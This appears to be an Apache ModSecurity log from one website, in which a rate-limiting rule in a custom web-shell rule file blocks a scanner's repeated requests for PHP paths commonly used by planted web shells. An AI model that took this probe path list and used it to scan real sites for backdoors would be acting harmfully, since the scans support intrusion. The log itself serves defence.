[Tue May 05 10:58:50.201928 2026] [:error] [pid 25835:tid 25844] [client 4.204.197.96:53716] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aflc6lDT5nGJyh1439w38wAAAQc"]
[Tue May 05 10:58:50.656309 2026] [:error] [pid 25743:tid 25769] [client 4.204.197.96:53696] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aflc6m-PCMRhF5DdUnNrlQAAABY"]
[Tue May 05 10:58:51.137102 2026] [:error] [pid 25744:tid 25795] [client 4.204.197.96:53656] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/333.php"] [unique_id "aflc6yR8IuyzjkW06ONwowAAAJU"]
[Tue May 05 10:58:51.668039 2026] [:error] [pid 25744:tid 25789] [client 4.204.197.96:53725] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/explorer/index_.php"] [unique_id "aflc6yR8IuyzjkW06ONwpAAAAI8"]
[Tue May 05 10:58:52.170523 2026] [:error] [pid 25835:tid 25849] [client 4.204.197.96:53708] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/explorer/index_.php"] [unique_id "aflc7FDT5nGJyh1439w39wAAAQw"]
[Tue May 05 10:58:52.610408 2026] [:error] [pid 25744:tid 25788] [client 4.204.197.96:53659] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/explorer/index_.php"] [unique_id "aflc7CR8IuyzjkW06ONwpwAAAI4"]
[Tue May 05 10:58:53.339300 2026] [:error] [pid 25744:tid 25781] [client 4.204.197.96:53653] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/explorer/index_.php"] [unique_id "aflc7SR8IuyzjkW06ONwqQAAAIc"]
[Tue May 05 10:58:53.846865 2026] [:error] [pid 25744:tid 25791] [client 4.204.197.96:53667] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aflc7SR8IuyzjkW06ONwqgAAAJE"]
[Tue May 05 10:58:54.359773 2026] [:error] [pid 25744:tid 25778] [client 4.204.197.96:53700] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aflc7iR8IuyzjkW06ONwrAAAAIQ"]
[Tue May 05 10:58:54.854231 2026] [:error] [pid 25744:tid 25785] [client 4.204.197.96:53569] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aflc7iR8IuyzjkW06ONwrQAAAIs"]
[Tue May 05 10:58:55.430172 2026] [:error] [pid 25835:tid 25859] [client 4.204.197.96:53581] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aflc71DT5nGJyh1439w3-wAAARY"]
[Tue May 05 10:58:55.878078 2026] [:error] [pid 25743:tid 25764] [client 4.204.197.96:53668] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aflc72-PCMRhF5DdUnNrmQAAABE"]
[Tue May 05 10:58:56.514199 2026] [:error] [pid 25835:tid 25842] [client 4.204.197.96:53660] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aflc8FDT5nGJyh1439w3_QAAAQU"]
[Tue May 05 10:58:57.024561 2026] [:error] [pid 25743:tid 25753] [client 4.204.197.96:53734] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aflc8W-PCMRhF5DdUnNrmgAAAAY"]
[Tue May 05 10:58:57.483155 2026] [:error] [pid 25835:tid 25852] [client 4.204.197.96:53722] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aflc8VDT5nGJyh1439w3_wAAAQ8"]
[Tue May 05 10:58:58.032665 2026] [:error] [pid 25835:tid 25848] [client 4.204.197.96:53657] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "aflc8lDT5nGJyh1439w4AAAAAQs"]
[Tue May 05 10:58:58.479996 2026] [:error] [pid 25835:tid 25857] [client 4.204.197.96:53655] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "aflc8lDT5nGJyh1439w4AQAAARQ"]
[Tue May 05 10:58:59.001506 2026] [:error] [pid 25744:tid 25797] [client 4.204.197.96:53754] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "aflc8iR8IuyzjkW06ONwtAAAAJc"]
[Tue May 05 10:58:59.465075 2026] [:error] [pid 25835:tid 25856] [client 4.204.197.96:53526] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/colors/blue/file.php"] [unique_id "aflc81DT5nGJyh1439w4AwAAARM"]
[Tue May 05 10:58:59.917089 2026] [:error] [pid 25743:tid 25759] [client 4.204.197.96:53706] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aflc82-PCMRhF5DdUnNrmwAAAAw"]
[Tue May 05 10:59:00.378011 2026] [:error] [pid 25743:tid 25756] [client 4.204.197.96:53517] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aflc9G-PCMRhF5DdUnNrnAAAAAk"]
[Tue May 05 10:59:00.850046 2026] [:error] [pid 25744:tid 25794] [client 4.204.197.96:53692] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aflc9CR8IuyzjkW06ONwtgAAAJQ"]
[Tue May 05 10:59:01.298231 2026] [:error] [pid 25743:tid 25755] [client 4.204.197.96:53683] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new.php"] [unique_id "aflc9W-PCMRhF5DdUnNrnQAAAAg"]
[Tue May 05 10:59:01.729479 2026] [:error] [pid 25745:tid 25816] [client 4.204.197.96:53589] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aevly.php"] [unique_id "aflc9Zsd7hb7vrvCNBnBegAAAM8"]
[Tue May 05 10:59:02.162078 2026] [:error] [pid 25835:tid 25848] [client 4.204.197.96:53758] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aevly.php"] [unique_id "aflc9lDT5nGJyh1439w4DAAAAQs"]
[Tue May 05 10:59:02.576299 2026] [:error] [pid 25835:tid 25837] [client 4.204.197.96:53726] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aevly.php"] [unique_id "aflc9lDT5nGJyh1439w4DQAAAQA"]
[Tue May 05 10:59:02.997563 2026] [:error] [pid 25835:tid 25850] [client 4.204.197.96:53709] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aevly.php"] [unique_id "aflc9lDT5nGJyh1439w4DgAAAQ0"]
[Tue May 05 10:59:03.430901 2026] [:error] [pid 25835:tid 25855] [client 4.204.197.96:53633] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aflc91DT5nGJyh1439w4EgAAARI"]
[Tue May 05 10:59:03.847494 2026] [:error] [pid 25835:tid 25839] [client 4.204.197.96:53721] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aflc91DT5nGJyh1439w4FAAAAQI"]
[Tue May 05 10:59:04.271104 2026] [:error] [pid 25835:tid 25854] [client 4.204.197.96:53570] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aflc-FDT5nGJyh1439w4FwAAARE"]
[Tue May 05 10:59:04.757795 2026] [:error] [pid 25835:tid 25844] [client 4.204.197.96:53658] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/app.php"] [unique_id "aflc-FDT5nGJyh1439w4GQAAAQc"]
[Tue May 05 10:59:05.192984 2026] [:error] [pid 25745:tid 25814] [client 4.204.197.96:53578] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/txets.php"] [unique_id "aflc-Zsd7hb7vrvCNBnBfQAAAM0"]
[Tue May 05 10:59:05.628010 2026] [:error] [pid 25744:tid 25787] [client 4.204.197.96:53580] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/txets.php"] [unique_id "aflc-SR8IuyzjkW06ONwugAAAI0"]
[Tue May 05 10:59:06.046317 2026] [:error] [pid 25745:tid 25811] [client 4.204.197.96:53679] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/txets.php"] [unique_id "aflc-psd7hb7vrvCNBnBfwAAAMo"]
[Tue May 05 10:59:06.487713 2026] [:error] [pid 25835:tid 25856] [client 4.204.197.96:53713] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/txets.php"] [unique_id "aflc-lDT5nGJyh1439w4GwAAARM"]
[Tue May 05 10:59:06.906807 2026] [:error] [pid 25835:tid 25855] [client 4.204.197.96:53732] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aflc-lDT5nGJyh1439w4HAAAARI"]
[Tue May 05 10:59:07.329336 2026] [:error] [pid 25743:tid 25751] [client 4.204.197.96:53665] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aflc-2-PCMRhF5DdUnNrpAAAAAQ"]
[Tue May 05 10:59:07.761033 2026] [:error] [pid 25835:tid 25854] [client 4.204.197.96:53574] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aflc-1DT5nGJyh1439w4HgAAARE"]
[Tue May 05 10:59:08.175425 2026] [:error] [pid 25744:tid 25794] [client 4.204.197.96:53573] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file59.php"] [unique_id "aflc_CR8IuyzjkW06ONwvAAAAJQ"]
[Tue May 05 10:59:08.588727 2026] [:error] [pid 25835:tid 25847] [client 4.204.197.96:53750] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "aflc_FDT5nGJyh1439w4IAAAAQo"]
[Tue May 05 10:59:09.024874 2026] [:error] [pid 25835:tid 25841] [client 4.204.197.96:53739] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "aflc_VDT5nGJyh1439w4IgAAAQQ"]
[Tue May 05 10:59:09.486661 2026] [:error] [pid 25835:tid 25848] [client 4.204.197.96:53682] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "aflc_VDT5nGJyh1439w4IwAAAQs"]
[Tue May 05 10:59:09.904998 2026] [:error] [pid 25745:tid 25804] [client 4.204.197.96:53609] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/albin.php"] [unique_id "aflc_Zsd7hb7vrvCNBnBhQAAAMM"]
[Tue May 05 10:59:10.323470 2026] [:error] [pid 25744:tid 25778] [client 4.204.197.96:53666] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aflc_iR8IuyzjkW06ONwvgAAAIQ"]
[Tue May 05 10:59:10.736700 2026] [:error] [pid 25743:tid 25763] [client 4.204.197.96:53751] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aflc_m-PCMRhF5DdUnNrpwAAABA"]
[Tue May 05 10:59:11.198946 2026] [:error] [pid 25744:tid 25779] [client 4.204.197.96:53684] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aflc_yR8IuyzjkW06ONwwAAAAIU"]
[Tue May 05 10:59:11.646468 2026] [:error] [pid 25835:tid 25861] [client 4.204.197.96:53513] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lala.php"] [unique_id "aflc_1DT5nGJyh1439w4JAAAARg"]
[Tue May 05 10:59:12.092123 2026] [:error] [pid 25745:tid 25824] [client 4.204.197.96:53678] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-at.php"] [unique_id "afldAJsd7hb7vrvCNBnBiwAAANc"]
[Tue May 05 10:59:12.514310 2026] [:error] [pid 25745:tid 25811] [client 4.204.197.96:53583] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-at.php"] [unique_id "afldAJsd7hb7vrvCNBnBjgAAAMo"]
[Tue May 05 10:59:12.931309 2026] [:error] [pid 25745:tid 25819] [client 4.204.197.96:53516] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-at.php"] [unique_id "afldAJsd7hb7vrvCNBnBkAAAANI"]
[Tue May 05 10:59:13.370678 2026] [:error] [pid 25835:tid 25841] [client 4.204.197.96:53547] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-at.php"] [unique_id "afldAVDT5nGJyh1439w4KgAAAQQ"]
[Tue May 05 10:59:13.784782 2026] [:error] [pid 25743:tid 25754] [client 4.204.197.96:53611] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "afldAW-PCMRhF5DdUnNrqQAAAAc"]
[Tue May 05 10:59:14.201482 2026] [:error] [pid 25743:tid 25765] [client 4.204.197.96:53596] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "afldAm-PCMRhF5DdUnNrqgAAABI"]
[Tue May 05 10:59:14.633286 2026] [:error] [pid 25743:tid 25752] [client 4.204.197.96:53738] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "afldAm-PCMRhF5DdUnNrrAAAAAU"]
[Tue May 05 10:59:15.049185 2026] [:error] [pid 25743:tid 25749] [client 4.204.197.96:53710] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "afldA2-PCMRhF5DdUnNrrwAAAAI"]
[Tue May 05 10:59:15.468021 2026] [:error] [pid 25835:tid 25850] [client 4.204.197.96:53695] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sys.php"] [unique_id "afldA1DT5nGJyh1439w4LQAAAQ0"]
[Tue May 05 10:59:15.891280 2026] [:error] [pid 25744:tid 25793] [client 4.204.197.96:53661] [client 4.204.197.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sys.php"] [unique_id "afldAyR8IuyzjkW06ONwwQAAAJM"]
